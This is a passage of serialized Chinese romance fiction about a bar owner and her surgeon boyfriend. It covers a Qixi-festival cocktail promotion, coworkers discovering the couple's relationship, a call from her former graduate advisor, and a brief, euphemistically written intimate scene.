“你们什么时候到淡季?”江问舟没话找话。 “哇,这个时候你说这个,真会聊天啊你!”齐眉觉得他说得难听,但还是回答道,“国庆之后吧,节日消费比较多,后面几天就要吃土,还有购物节也有点影响,加上天气慢慢转凉,到圣诞节前后吧,节日促销开始又会好一点了。” 淡季也不是完全没生意,只是会比现在生意差一点,“到时候大家就开始轮流休年假了。” “咖啡那块现在就是淡季,天太热了,大家不爱出门,外卖还能做做,所以音乐节之后他们已经开始轮流休假了。” 齐眉絮絮讲着这些琐事,然后话音一转:“对了,我们最近有个小活动诶,鸡尾酒扭蛋机,消费满三百,可以扭一次,扭到哪个就送你哪个。” 其实就是促销赠饮,只是多了一点趣味性,有些客人扭出来的是一杯贵价酒水,就会觉得自己赚了,或者是扭出来一杯自己从没喝过的,便多了几分新鲜感。 “最次也得一杯莫吉托吧,也还行了。”齐眉撺掇他,“到时候你来扭啊,看看你运气怎么样。” “你能黑幕我吗?”江问舟笑吟吟地跟她开玩笑,“我没有这么多钱,我女朋友管很严的,都不给零花。” “你胡说!”齐眉腾一下就从床上坐了起来,一不小心就撞到了上铺的床板,顿时吃痛地嘶了声。 上铺的陈羽丹听到她正好好讲着电话,突然这么大动静,连忙探头问道:“眉姐,咋啦?” 陈羽丹最近说话好像有点东北口音,齐眉想问什么,又一时没空。 匆匆应了她一句没事,就把被子往头上一拉,又躺回床上。 这才义正辞严地指控某人:“你这是污蔑!我给你发钱了的,我有转账记录!” 江问舟能说什么?除了应好,他什么都说不出。 半晌才有些无可奈何地啧了声:“……头没起包吧?” 齐眉这下觉得丢脸了,立刻装傻:“……什么起包?听不懂。” “少来,我都听见了。”江问舟哭笑不得,问她有没有头晕,又吐槽她,“都多大了还这么莽撞。” 齐眉讪讪,忍不住为自己辩解:“还不是因为你冤枉我。” 说完就委屈了,“你道歉!” 江问舟忍俊不禁,勉强忍住笑:“……对不起,我不该乱讲话。” 齐眉哼哼两下,转移话题了,问他:“江老师你的课表出来了吗?” 容医大每年秋季的开学时间相对固定,就在九月中旬,按照安排,江问舟所在的心血管外科要承担第一和第二临床医学院《外科学》中关于心血管系统疾病的授课任务,他是肯定要去给学生上课的,但是是责任老师还是轮班去上几节课,就要看具体安排了。 听齐眉问到这个问题,江问舟嗯了声:“出了,周二上午和周五下午,二院的两个班归我带。” “这个带是……怎么带?”齐眉问道,“要负责期末考划重点那种?” 江问舟嗯了声:“顶的宋主任的班,他解放了。” “那他去带研究生的课?”齐眉问道。 “是啊。”江问舟的声音懒洋洋的,听筒那边还传来一阵小猫打呼噜的动静,也不知道他是不是把手机放到金金嘴巴边上了,“带他自己的研究生。” 齐眉呃了一下:“……这不一直有带的吗,原来带两批学生,现在只带一批。” 顿了顿,她的话题又转到宋主任的侄子上去,“高三是不是都已经开学了?这个小宋是真犟种啊,怎么说都不肯回去上学。” “……他还是坚持要退学去开酒吧,当网红?” 齐眉说那倒没有,“说到这个的时候他有些犹豫,我也问他是不是现在就想做这事,是不是想在这儿学个一年半载就出去创业,他半天才问我,要是你的话你会怎么样,我说我都这么问你了还用说吗?真的是,让人头大。” 江问舟失笑,安慰道:“起码态度比刚来的时候要软化多了。” 他很好奇小宋同学这一个月到底经历了什么,在家里时那么强硬的态度,竟然这么快有所动摇。 “还能是什么,碰到南墙了呗。”齐眉哼哼两声有些幸灾乐祸,“这一个月不是忙么,特别是音乐节那几天,孩子都快忙傻了,但也没得休息,店里时不时就来讲外语的客人,他都不知道怎么接待,可佟哥和乐乐的英语口语可溜了。” 最要命的是,“乐乐他们带他去老杨那边见世面,老杨跟他说那我考考你,问他为什么很多经典鸡尾酒里都会用到苦精,他答不上来,老杨问他那你的店里是以经典酒为主,还是创新酒为主?要是做经典,你连苦精这么重要的东西都搞不明白,万一客人问你,你答不上来,尴不尴尬?要是做创新,你现在想法有什么?很多创新酒的配方看似天马行空,其实拆解出来也有自己的公式,还有,你会不会讲故事,调酒很多时候就是跟客人交流的过程,你肚子里货不够,跟人说话都露怯,还开店?包赔的。” 而且老杨让他试了一下调一杯酒,都不说手法如何,就味道都被挑剔得差点体无完肤,直言自己要是客人,最多来喝一次,不会再回头,因为毫无记忆点,替代品太多。 这批评直接又直白,小孩听完脸都有些白了,回去的路上低着头一声不吭,田乐还得安慰他。 还有,“清葭姐安排他跟着浪哥出门谈采购,一路上浪哥跟他讲了超多坑,跟他说你要是没钱请人采购就得自己上,这些坑你肯定不能完全躲掉,看经验看人脉能少踩一个是一个。” “就算请了采购,自己也要懂,不然最后只会把采购养肥。”江问舟说着一个对生意一窍不通的人都懂的道理,然后笑着叹气,“好的采购都是花钱买出来的经验,就像你网购总是能买到比我看的便宜,质量还好的东西。” 自己买东西还不容易呢,更何况是开一家店。 齐眉应了句就是嘛,话音刚落,又觉得不对。 “前一句说好采购都是花钱买经验买出来的,后一句就说我会买东西,你是不是在内涵我花钱花得多?” 江问舟顿时一噎,半晌才没好气地吐槽道:“就不能是我单纯在夸你?说吧,你去哪儿偷的心眼子,知不知道因为你这世上多了几个缺心眼?” 齐眉听了一阵嘻嘻笑,立刻再次转移话题:“要天气凉了,给你买件新大衣好不好?” “……今天最高温三十九度。”你管这叫天气凉了? “反季节买衣服*便宜嘛。”齐眉振振有词,说完打了个哈欠。 听着声音都似乎变得有些含糊了,江问舟失笑,和她斗嘴的心思瞬间变淡。 只柔声道好,“那就要辛苦你了,可以多买两件吗?我已经快三年没有穿过新衣服了。” 齐眉想起他衣柜里的旧衣,心里只觉得酸软,闷闷地嗯了声:“买!给你买多多的!” 陈羽丹躺在上铺,一边同人聊天,一边支着耳朵听下铺的她眉姐和姐夫煲电话粥,感觉什么都能说说,所以她也听得津津有味。 可听着听着,她突然发现,诶,怎么没声了? 她愣了一下,悄悄探头往下铺一看,齐眉一动不动的,已经睡着了。 陈羽丹从上铺探着身子,艰难地够到电灯开关,轻轻一按。 “啪。” 灯光熄灭,室内陷入一片寂静,梦开始升起。 七夕节对于商家来说,是一个相当重要的节日,早在节日之前各处商家就已经开始搞活动,No.12Diner&Lounge也一样。 周五七夕,周一店里就开始搞活动了,主要是上新品,任清葭上了爱心和玫瑰花两种造型的小蛋糕,还都有纸鹤的元素,所以一款叫情书,一款叫相依。 卖得很不错,主要是文案写得很浪漫,蛋糕的造型也足够精致,味道也不赖,齐眉都得提前交代,才截留了两个给江问舟。 “爱心款的是葡萄味的,玫瑰花的就是玫瑰花味的了,一会儿你们分分吧。”齐眉把蛋糕取出来交给他,好奇地往他身后看一眼,“来几个人呀,人呢?” “后面,去路口那家花店买花了。”江问舟笑着应道,好奇地看着吧台上一个小房子形状的扭蛋机,“这就是你说的鸡尾酒扭蛋机?这外观怎么看着有点像……你们店的外立面?” 门是最像的,红色的复古风电话亭,真是让人过目难忘。 齐眉一时忘了问怎么要买花,嗯嗯地点头,当着他的面将电话亭的门拉开,里面真的有一部老式的拨号电话,随便按住一个数字键拨一圈,旁边的卡口就掉下来一个酒杯形状的橙色亚克力片。 “当当当!这个是性感海滩。”齐眉看着亚克力片上的字念出来,然后问江问舟喝过没有。 江问舟摇摇头,说对这个名字没有印象,应该是没喝过。 “那你一会儿要不要试试?”齐眉介绍道,“是伏特加和桃子味利口酒加上橙汁、蔓越莓汁调出来的,酸酸甜甜,果味很浓的,也很有热带的感觉,很适合夏天哦。” 江问舟刚应了声好,就听见门口处传来一阵风铃声,小宋同学说欢迎光临的声音同时响起。 齐眉抬头一看,陈妍正抱着一束黄玫瑰推门进来,她后面是蔡朝和另外几张齐眉没见过的面孔。 啊不对,有一个人是见过的,上个周末去笔架山那边露营的时候,对方还跟她搭讪来着。 “陈医生蔡医生,各位同学,你们好呀。”齐眉笑眯眯地冲他们打了声招呼。 田乐正在切水果,闻言抬头正要跟着打招呼,就见陈妍突然把怀里的花束往齐眉面前一递,笑嘻嘻地道:“嫂子好,打扰了,七夕快乐。” 一旁的学生跟着叫师母好,除了跟她搭讪过的那个同学,有些不好意思的不敢看她。 齐眉抿着唇冲他们笑着点点头,又看向陈妍递过来的花。 嫂子这个称呼虽然不是第一次听,但距离上一次听到也已经过了几年,齐眉不免觉得陌生。 这份陌生让她在面对陈妍他们时有些不好意思,她腼腆地接过花,道了声谢:“你们破费了。” “嫂子快别这么说。”陈妍笑嘻嘻道,“要是你实在过意不去,就请我们喝一杯呀?” 齐眉笑着指指江问舟:“你们老大替我请。” 大家笑嘻嘻地说了几句,江问舟这才领着他们往齐眉帮忙预留的卡座走了。 他们刚走,齐眉就听见耳边传来一声“当啷”响。 扭头一看,田乐手里的水果刀掉了。 “乐乐你……” 她话没说完,就听田乐用不可置信又小心翼翼的声音打断她的话问道:“阿眉,他们……呃、刚才叫你……什么啊?” 我没有听错吧??? 第82章 第八十二章(二合一)(解锁)好呀,…… 田乐想不通为什么江医生的同事和学生会叫齐眉做“嫂子”和“师母”。 除非…… “嫂子和师母呀。”齐眉眨眨眼,忍着脸热,“没错的,以我和我哥、呃……以我和江问舟的关系,他们和江问舟的关系,是这么喊没错的。” 田乐:“???” 她的脑海里闪过一片乱码,乱码似乎组成了一个答案,但她还是不敢相信。 于是扭头问佟林:“老佟,啥意思啊?” 佟林:“……”真是让人无语:) “她的意思是,她跟江医生成了,这都听不懂,亏你还是有男朋友的人。”他叹口气,吐槽道。 田乐差点跳起来,一把揪住他的围裙胸口,使劲摇晃了几下,压抑着想要尖叫的冲动:“我当然听得出来!” 我主要是不敢相信啊!!! 田乐回头看一眼齐眉,见她腼腆地冲自己笑着点点头,顿时忍不住一噎:“……真的啊?” 齐眉哭笑不得:“是啦,真的真的,珍珠都没这么真,清葭姐和阳哥早就知道了。” “不是,哎我……”田乐忍下最后那个字眼,倏地扭身,质问佟林,“还有你!你这样子一看就是早就知道了,为什么不说!还是不是朋友了?!” “咦,佟哥也早就知道了吗?”齐眉闻言顿时好奇,立刻凑过来问道,“什么时候、怎么知道的,不是阳哥说的吧?” 佟林一脸无语地吐槽:“你和江医生那股腻歪劲看得我要都快瞎了好吗,还用别人说我才能发现?我又不瞎。” 田乐:“???”有被内涵到!!! 偏偏佟林还故意揶揄她:“都说热恋的人之间有一种别人插不进的气场,你这都看不出来,姐们儿你真的谈过恋爱吗?” 田乐气得直接上手捶他,咬牙切齿道:“我那是没看出来吗?我好几回都跟你说,问你有没有阿眉和江医生之间有点不对劲,你怎么说的,你说人家是兄妹,从小一起长大的感情,亲近一点很正常!” 她完全是被这人给误导了啊! 这就像做卷子的时候,你的好朋友跟你说,这道题我会,选A,其实他自己默默选了B。 这是好朋友吗?这明明是塑料朋友! 田乐气得牙痒痒,佟林理亏,只好努力忍着笑做忏悔状:“哎呀……我也不是故意的……” 齐眉听了一阵忍俊不禁,她是没想到这里头竟然还有这种曲折。 田乐一把甩开佟林,扭头去问听到动静就放下手里活趴在出餐窗口后面看个究竟的汪淼:“小汪你说!你是不是现在才知道的?” 汪淼都快傻了,妈耶,我知道我眉姐肯定要谈恋爱的,但万万没想到对象会是她哥啊! 这叫什么?现实版伪骨? 那这饭很香了:) 听到田乐问他什么时候知道的,他先是摇摇头,接着又摇摇头。 用很震惊很好奇的目光看向齐眉,小心地问她:“阿眉姐和你……呃、江医生,是最近才在一起的吗?” 他回忆了一下第一次在店里见到江问舟的时间,感觉也没过多久,似乎近在昨日。 这个问题让田乐和佟林同时好奇地看向齐眉。 齐眉摇摇头,实话实说:“我还在读研的时候,我们就在一起了,后来因为一些事暂时分开了一段时间,不过最近我们的分歧消除,就复合了。” 至于什么分歧,田乐他们都没问,结合江问舟是今年才回容城工作这件事,他们都猜是不是俩人一个想留在申城而另一个想回容城。 不得不说,真是一个很合适的误会。 正好省了齐眉解释的功夫。 田乐震惊的心情此时终于缓过来,开始八卦她和江问舟的事,比如谁先表白之类。 方便说的齐眉就答了,不方便或者不想告诉别人的,她就似是而非地含糊过去。 饶是如此,还是让同事们吃尽了瓜。 等田乐八卦完,回头一看,发现小宋同学虽然也是一脸好奇,但好像十分淡定,这娃心理素质这么好了? 她不由得眉头一挑,问道:“你不会也提前看出来了吧?” 难道全场只有她眼神不好?毕竟汪淼不算,他的工作地点是后厨,跟江问舟打交道的时间很少,更没功夫去观察他和齐眉是不是有什么不对。 宋森摇摇头,先看一眼齐眉,然后跟大家说实话:“上个周末我听我大伯跟伯母说起过,他们让我不要往外说。” 宋主任当时跟他爱人说的原话是,都说兔子不吃窝边草,没想到小江找对象专吃窝边草,啧啧啧。 说完扭头警告小屁孩不许跟他师父学舌。 宋森当时只顾着震惊,闻言也只是胡乱点头答应,待过后仔细想想,心里又有些五味杂陈。 他突然间明白为什么高一时教他们班那位顶顶漂亮的英语老师要结婚,那些男生会哀嚎得如丧考妣了。 那种在成长过程中情窦初开时遇到理想型,很确定的知道不可能,不敢说也不好表现出来的朦胧好感,突然有一天就破灭了。 人类的幻想被打破,都会觉得很受冲击。 更重要的是,他意识到,原来自己和同学们是一样的,他没有比同龄人成熟多少,或者多懂得多少东西,他以前被同学们夸“你知道得真多”时产生的优越感现在想起来如此可笑。 同学们都还在学校,他们在备战高考,准备去上大学,会知道更多他不懂的东西…… 少年人的脑筋终于转过弯来,开始想,自己这么做到底划不划算。 这个方向不能说十分正确,但好歹是换了一个方向,不再死磕,宋主任作为最关注他的长辈,自然感觉到了他态度的松动,不由得十分高兴,觉得胜利在望。 齐眉不知道小朋友还有这么曲折的心路历程,笑着跟田乐他们说:“其实陈医生他们也是上周才知道的,我们家周末去露营,碰到我哥他们组的学生了,被拍了照发到他们科室群里,大家就都知道了。” 系统这时开始接单,时间渐渐后退,店内的空桌子也陆续被填满,齐眉他们开始忙了。 江问舟那桌虽然来得早,但点单却不快,主要是大家拿不定主意第一杯要喝什么。 江老大说了,他只包他们肚子吃饱,和第一杯酒,从第二杯开始,想喝的得自己点。 对的,他们晚饭都还没吃,因为知道店里不仅有鸡翅薯角这些小食,还有意面,而且还允许客人点外卖进来吃,当然,螺蛳粉这种不行。 反正肚子是肯定能吃饱的,于是大家一合计,懒得再找什么饭店了。 “过个节到处都是人,谁说经济不好的,这经济可太好了。”陈妍看着周围的客人,小声吐槽道。 瞧瞧这店里,没有一张桌子是空的。 为了应节,店里还是做了一些布置的,比如桌上除了一直就有的夜灯,还特地每桌都摆了一个玫瑰造型的香薰蜡烛,客人落座,服务员来送湿毛巾时,会顺便将香薰点燃,幽幽的淡雅花香散开,显得格外有情调,客人们说话的声音都会不自觉地降低分贝。 江问舟见大家迟迟没能做好决定,懒得等了,先把菜单上的小食几乎都点了一遍,然后跟齐眉要之前从扭蛋机里选的那杯酒。 酒很快就做好送过来,性感海滩,性不性感不知道,但真的夏日风情很足,江问舟喝了两口,觉得自己此时应该在海边的躺椅上。 再不济,也得是在村里自家院子里的水塘边上,撑起大大的遮阳伞,往躺椅上一躺,小风一吹,这才是人过的日子。 隔壁桌是两位女士,正在吐槽今年夏天的天气太热,而家里抠门成性的老人依旧舍不得开空调,真担心哪天他们就突然中暑了。 陈妍他们这时终于点好单,但是是去吧台找齐眉推荐的,回来的时候还自嘲道:“真是死脑筋,专业的事就该让专业的人做,早点去问不就好了。” “账单我看看。”江问舟朝她伸了伸手。 陈妍把账单递给他,他一看总额就笑了,好家伙,马上就九百,他决定一会儿去找老板套套近乎,争取扭三个扭蛋。 齐眉看到这张账单笑得简直合不拢嘴,还没等他开始套近乎,就大方答应让他拧三次扭蛋机。 开玩笑,消费了快四位数的大客户呢,差一点点金额而已,黑幕一下怎么啦! 江问舟看她笑得跟朵花一样,有些忍俊不禁:“这是我付的钱,我的钱就是你的钱……” 所以你的钱少了你这么高兴是不是有点不对? 齐眉手一挥,无所谓地表示:“这是你的零花钱,跟我有什么关系,你今天花得多,后面几天就勒紧一点裤腰带咯。” “我没钱吃饭了你也不接济接济?”江问舟逗她。 顺手拨了一下扭蛋机的拨号电话。 很快就掉出来一片黄色的亚克力片,“又是这个颜色,是什么?” 江问舟拿起来一看:“龙舌兰日出。” 看完递给齐眉,齐眉一边说:“这边建议你从家里带饭,这样可以少花点,咖啡也可以从家里带。” 一边把亚克力片塞回扭蛋机里,接着问他:“干爸干妈回村里了吗?” “说是明天回,我们回不回?”江问舟接着她的话,将剩下两次机会都用了。 扭出来一杯威士忌酸和一杯咖啡马天尼。 他自己要了一杯威士忌酸,发信息问谁要剩下两杯,等酒被认领之后,就再也没回去卡座区。 等到十一点多,陈妍他们要回去了,他就帮忙叫车,嘱咐他们尤其是学生,到宿舍了要在群里发个报平安的信息。 看着他们都上了车,这才转身慢悠悠地往回走,边走边看手机朋友圈里孙茂芸不久前刚发的照片,烛光晚餐看起来温馨极了。 回到店里,他往吧台边一靠,笑眯眯地冲着齐眉问:“老板,可以约你吃个宵夜吗?” 话音刚落,一旁虽然经常来但都没见过江问舟不认识他的熟客就嘘了声,喝起倒彩来:“兄弟你喝多了吧?这儿不准骚扰异性啊,同性也不行,调酒师和老板更不行。” 江问舟先是一愣,旋即失笑,扭头同对方道了声谢。 对方被他的反应弄得一时愣住,呆滞的模样仿佛疑惑在他头顶凝结成一个实质的问号。 “你给我正经点!”齐眉也哭笑不得,伸手拍了一下他的胳膊,嗔怪道,“在这么不正经今晚不要你回去了。” 江问舟抿唇笑着耸耸肩。 客人这才知道怎么回事,回过神来发出啧啧啧的嫌弃声:“你们这些讨厌的小情侣!” 大家嬉笑片刻,齐眉手头这杯酒做完了,还是决定先回去。 摘下围裙,同田乐他们道别,已经是十几分钟后,刚从更衣室出来,江问舟就冲她伸手。 她将包挂到他胳膊上,扭头笑眯眯地同大家道别,挽着江问舟的胳膊往门外走。 脚步轻快,路过门口时还故意踮脚伸手去拍门口的风铃,在叮铃铃的声音里听江问舟亲昵地数落她:“怎么突然这么淘气。” “我乐意,你少管。”她哼哼两声应道。 田乐他们看了一阵好笑。 齐眉往外紧走几步,将笑声抛在身后,江问舟被她拽着一路小跑,路灯昏黄的光线里两道身影撞在一起,分开,又撞在一起,你追我赶似的,像跳动的音符。 江问舟忽然想起他们十几岁的时候。 跑到车跟前,齐眉拉开副驾驶的车门,粗暴地把他往里一推,没等他抗议,车门就响起“嘭”的一声。 江问舟:“……” 齐眉坐进驾驶座,他运了运气,刚要吐槽她,话都到嘴边了,她的手机又突然响起来,完美打断他还没来得及说出口的话。 齐眉忍俊不禁,拿过手机一看,下一秒便惊讶地将屏幕转向江问舟。 他低头,看见来电显示的名字是“莫铃教授”。 是齐眉研究生时期的导师。 ————— 大学时代的导师突然来电,齐眉虽然不知道对方是不是有什么事,但还是第一时间就接了起来。 “……老师?”她有些小心地喊了声。 心脏伴随着自己的声音,突然开始狂跳,她下意识地紧张起来,觉得周围空气有些热。 江问舟察觉她的紧张,伸手先帮她将安全带系上,再轻轻拍了两下她的腿。 齐眉吓得哆嗦了一下,回过神没好气地白他一眼。 同时听清了电话对面的声音:“小齐呀,这么晚了,还没睡啊?” 齐眉嗯了声,和以前一样开玩笑道:“您打电话来,我就是睡着了,也得爬起来接啊。” 莫教授笑了一声,问她:“明天周末有没有空?我请你和小江吃饭。” “……诶?”齐眉一愣,“您来容城了?” 她说着转脸看向江问舟,江问舟意会,点点头,打开手机开始帮她打听消息。 “过来开会,要待两天,明天正好有时间,就想见见你。”莫教授笑呵呵地道,“你上次让蒋乐亭给我带的荔枝很好吃,我来回礼来了嘛。” 齐眉嘿嘿笑了两声,人也放松下来,“明天我们都有空呢,不过……该是我们请您吃饭才对,怎么能让您破费,这要是让师兄师姐们知道,还不知道怎么批评我呢,不行不行。” “我看谁敢。”莫教授佯怒,“他们一个个蹭我饭的时候怎么不自我批评?” 齐眉认认真真地解释说:“不一样的嘛,一是您是长辈,我请您吃饭是应该,二来您是来容城,我要是不知道就算了,既然都知道了,不尽地主之谊多不合适。” 莫教授听了就笑着诶了声,听起来似乎有些无奈。 但又好像有很多的感慨,因为她突然有些沉默。 半晌她才叹口气,笑道:“好吧,那就听你的。” 齐眉刚要说等她安排好明天去接她,还没来得及,就听她继续道:“我问问老郭,要是有空,咱们就一起聚聚,一次见完,倒还省事了。” 说完和齐眉一起笑。 江问舟这时将手机递到她面前,让她看自己和妇产科的同事的对话。 原来是妇科高峰论坛这几天在容城召开,莫教授是妇科内分泌和肿瘤方面的专家,这种会议很大概率是会邀请到她的。 举办地点在距离烈士陵园不远的一家酒店,齐眉看着地址心里一动。 随即收回目光,“那……到时候我们去接您吧,您什么时候回申城?” “后天中午。”莫教授笑道,“我们约个晚饭怎么样?我听蒋乐亭说,你开了一家酒吧,气氛还不错,我也去凑凑热闹?” 齐眉闻言立马就答应了:“好呀,欢迎您来指导工作。” 于是说好下午四点半在举办峰会的酒店汇合,正好下午的议程是到四点十五分结束。 因时间也晚了,师生俩约好时间和地点,很快通话便结束,等挂了电话,齐眉才转头去看江问舟,“我们明天去烈士陵园看看吧。” 江问舟不假思索地点头应好。 他没有问她怎么突然想去看看,因为看到酒店的地址他就知道她一定会有这个想法。 “我们是上午去,还是下午?” 江问舟懒洋洋地问了一句,往车座椅背里一靠,整个人都松弛下来。 “上午吧,下午我怕太赶了。”齐眉应道,启动车子。 江问舟扯松领带,继续问道:“带什么花,康乃馨,还是香水百合?” “去了再说,说不定有别的好看的呢?” 这倒也是,谁也没规定扫墓送花必需送什么花。 一时半会儿也没想到什么迫切要聊的话题,加上姗姗来迟的酒意开始浮头,江问舟忍不住打了声哈欠。 “……我睡会儿,到了你叫我。” 齐眉头也不回地应了声好。 车子在深夜的公路上疾驰,沿街的灯光明亮,却也将在夜色笼罩下的整座城市衬得十分安静。 车里也安静,江问舟很快就迷迷糊糊地睡着了。 也不知道这样睡了多久,突然感觉到一阵摇晃,他猛地睁眼,听见齐眉喊他:“……哥,起来了,到家了,回家去睡。” 他嗯了声,表示自己知道了。 但却又把眼睛闭上,一副想再赖赖床的模样。 齐眉干脆帮他把安全带解开,自己先下车,听见关车门的声音,江问舟忙睁开眼,也推门跟着下去。 结果刚钻出来,就跟从外面同时拉开车门低头想进来扶他的齐眉碰了个正着,俩人的额头轻轻撞到了一起。 齐眉眨眨眼,头往后一仰:“我以为你还没醒呢……” 话没说完,就被江问舟勾着腰拉了过去,继撞到他额头之后,她又撞上了她的胸口。 还来不及抱怨,他温热的吻便覆盖下来。 柔软的唇瓣在她脸上游走,又在她的唇上辗转,舌尖勾连间她差点忘了这还是在外面。 直到听见不知道是自己还是江问舟喉咙里传来的一声轻微的吞咽声。 齐眉猛然回过神,使劲推了一下他的胳膊,侧头躲开他,低声道:“先回去……” 江问舟有些不乐意似的叹口气,亲亲她的鼻尖,这才黏着她一路往回走,走的时候还要贴着她,要不是他比她高壮,齐眉怀疑他会挂在自己身上。 她忍不住叹口气吐槽道:“……你今天怎么这么无赖。” 江问舟想也不想,直接把责任推到酒上,“喝多了是这样的。” 喝醉的人才不会说自己喝多了,齐眉撇撇嘴,不轻不重地推了他一把。 江问舟察觉她的态度并不坚决,不仅一动没动,等进了电梯,趁着周围没有其他人,他甚至扳过她的脸,又亲了过去。 齐眉都没反应过来,他的舌尖就已经钻了进来,她的舌头被缠住,除了呜咽声就再也说不出完整的话。 她倒是喜欢江问舟的缠人,可场合不对什么都白搭。 正要想办法甩开他,他的动作却戛然而止,齐眉一愣,紧接着听见电梯停下时发出的一声:“叮——” 时间卡得刚刚好。 齐眉没好气地白他一眼,推开他径直出了电梯。 江问舟抿着唇笑,跟在她身后进门,一边换鞋一边问她:“礼物在你的梳妆台上,早上回来的时候看见了吗?” “看见了,没拆。”齐眉去饮水机接了杯水,反过来问他,“是什么呀?” 江问舟也没跟她卖关子,直接回答道:“珍珠项链,单颗珠那种。” 齐眉听了立刻表示:“那我明天戴。” 说完水杯一放,就脚步轻快地向浴室走去。 金金和年年最近跟爷爷奶奶住,家里没了它们便显得格外安静,不仅如此,江问舟站在客厅里往四周看了一圈,发现它们不在家之后家里格外的整洁,他想打扫卫生都毫无用武之地。 最后只能打开电视,看看晚间重播的新闻。 齐眉从浴室出来的时候,有人已经在对着电视打哈欠了,一副随时就会睡过去的架势。 赶紧提醒道:“快去洗澡,洗了再睡。” 江问舟回过神,抬手搓搓脸,这才起身去找衣服洗澡。 齐眉站在浴室门口吹头发,淅淅沥沥的水声从门后隐约传出,和电吹风的呼呼风声应和,组成一个寻常至极的夜晚。 吹完头发,将电吹风往客厅的大书桌上一放,齐眉就回房间了。 江问舟洗完澡,吹头发的时候顺便将衣服扔进洗衣机,脏衣篓里剩下他和齐眉的贴身衣物。 这是要手洗的,可是…… 完啦!齐西西小裤子上的蝴蝶结真的掉了! 他懵了一下,半晌叹口气,摇摇头,将掉下来的小蝴蝶结洗干净,小心地在架子上放好。 等晾干后看齐眉怎么处置吧。 洗干净衣服,将客厅的灯关了,再推开卧室门,柔和的灯光流淌出来,齐眉在床上侧躺着,轻薄的夏被描摹出她姣好的身体曲线。 看样子是睡着了,江问舟犹豫片刻,决定明天再告诉她蝴蝶结掉了的事。 灯光熄灭,室内一片漆黑,江问舟躺下,和往常一样抱住齐眉的腰,闭上眼开始酝酿睡意。 但人有时候很奇怪,没洗澡没沾床的时候困得颠三倒四,可等真的能睡了,反而又意识清醒毫无睡意。 江问舟此时就是这个状态,明明闭着眼,可眼球就是忍不住动来动去。 他也说不清自己怎么突然就不困了,眯了一会儿又睁开眼,发现已经适应室内漆黑的视线,可以稍微看得清自己的五指了。 同样能看清的,还有身旁熟睡的人的轮廓。 齐眉的睡脸是舒展的,呼吸均匀,侧躺着,怀里还抱着新买的长条抱枕,枕套是很可爱的荔枝小狐狸,而且很便宜,才三十块,她很喜欢,很为自己的眼光骄傲。 想到她当时得意洋洋的眉眼,江问舟忍不住想笑,伸手摸了一把她的脸。 犹豫几秒,还是亲了亲她的耳朵。 柔和的吻羽毛一样轻盈,根本不会惊醒睡梦中的齐眉。 于是江问舟又亲了她一下,这次亲在她的嘴角。 要离开的时候有些不舍,下意识往旁一侧,用舌尖轻轻点了一下她的唇。 齐眉还是一动不动,睡得很安稳,看来没有受到打扰。 江问舟的胆子顿时便大起来,就像刚才那样亲亲,西西不会醒的,不算打扰,就亲一下,不,两下,亲完就睡。 他这样想着,唇又轻轻印了上去,舌尖习惯性地描摹一圈她的唇形。 十几秒钟后,就在他要撤离的前一秒,齐眉原本紧闭的双唇忽然毫无预兆地开启。 江问舟一愣,动作顿时停住。是吵醒她了吗?还是只是巧合? 他刚想试着叫一下齐眉,看看她是不是醒了,还没来得及,就察觉齐眉的舌尖伸了出来,轻轻碰了一下他的。 就像平时他们接吻时那样,回应自然得像是身体肌肉的本能。 江问舟也下意识地含住伸过来的舌尖。 等他反应过来的时候,已经和齐眉亲到了一处,因为他贴着她背的姿势,她只能半侧着身扭过脸来接他的吻,喉咙里发出他熟悉的嗯哼声。 那种放松得像是从身体深处发出的喟叹,像细微的电流,从江问舟的神经末梢穿过。 他再难自持,忍不住加深这个吻,同时抬起齐眉的一条腿。 他的膝盖压了上去。 “西西。” 齐眉睡得迷糊,忽然听见耳边传来叫自己名字的声音,猛然睁眼。 却发现自己正在江问舟怀里,周围的一切都是熟悉的,他的怀抱,他的喘息,和他的唇舌,构成了一片她熟悉的海域。 她放松地依偎着江问舟,重新闭上眼咕哝着问:“要啊?” 江问舟怪不好意思的,还真是把人闹醒了,可是…… “可以么?”他低声问道,手指不动声色地下移。 齐眉哼唧了一下,哪怕意识还没完全清醒,她也能凭本能“刁难”他:“你求我。” 江问舟失笑,伏在她耳边低声:“求求你,好不好?” 齐眉发出一声闷哼,下意识攥紧怀里的抱枕,但下一秒抱枕就被江问舟扯开,她刚要说他霸道,手掌就被他紧紧握住。 他的指尖钻进她的指缝,和她十指紧扣着,牢牢将她固定在怀里。 齐眉的背紧贴着他的皮肤,但一开始并不完全,睡裙堆积在她的上身,他急切得像个贪吃鬼。 “……要不要这么……等一下啦!”她忍不住嚷嚷,困意瞬间全无,“衣服勒脖子!勒脖子!你……我要没了!” 她有些气急败坏似的,又转不过身去拍打江问舟,就他们现在这个姿势,她都怕给他打爽了:) 江问舟一时讪讪,停了下来,将她的睡裙再往上推推,蒙住她眼睛时又故意使坏地挺挺腰。 不出意外的听见她的一声低哼,他忍不住低笑出声。 睡裙从被窝里被扔出去,齐眉也终于得以转身和他面对面,一面抱怨他真是坏透了,一面抱住他的脖颈,腻进他的怀里,熟稔地回应着他每一个动作。 土壤肥沃的山谷有时会在深夜迎来最了解它的园丁,他勤恳又细致的耕耘和呵护,能让鲜花开满漫山遍野。 第83章 第八十三章(二合一)老师好久不见。…… “这是什么?哪儿来的蝴蝶结,有点眼熟?”一大早,齐眉举着电动牙刷,对着洗手液瓶盖上的黑色小蝴蝶结发出疑问。 “你裤子上的,能不眼熟么。”江问舟进来,路过她的时候还拍了拍她屁股,然后往马桶前一站。 一大早*刚起来的脑子有点不清明,齐眉愣了一会儿才反应过来,他说的裤子是哪条裤子,顿时倒吸一口凉气。 有些惊讶地扭头看向他:“我……小裤裤上哒?” 说话时视线有些不可自控地往下撇,一两秒之后又立刻上抬,停留在他刚睡醒还没来得及整理的头发和睡眼惺忪的脸孔上。 江问舟嗯了声,有些不好意思:“不小心扯掉了,你看……咱们是去买新的,还是我给你缝回去?” 他针线活还可以的,以前帮齐眉缝过参加活动的裙子,还有她的公仔,可不是什么对针线一窍不通的大老粗。 齐眉眨眨眼:“那就……买新的吧,我们早点出发,看完妈妈就去买衣服?” “可以。”江问舟点点头,“午饭就在外面吃,再吃个下午茶,差不多了就去接莫教授?” 齐眉觉得这个节奏很合适,“就这么安排!” 又说想出去吃早餐,想吃麦当劳了,“很久没吃过猪柳蛋麦满分了,起码半个月。” 其实她工作的医疗点位旁边就有麦当劳,但是最近斜对面那一家连锁咖啡店做活动,团购的点心和咖啡都很便宜,所以她每次上班不是吃食堂就是吃这家。 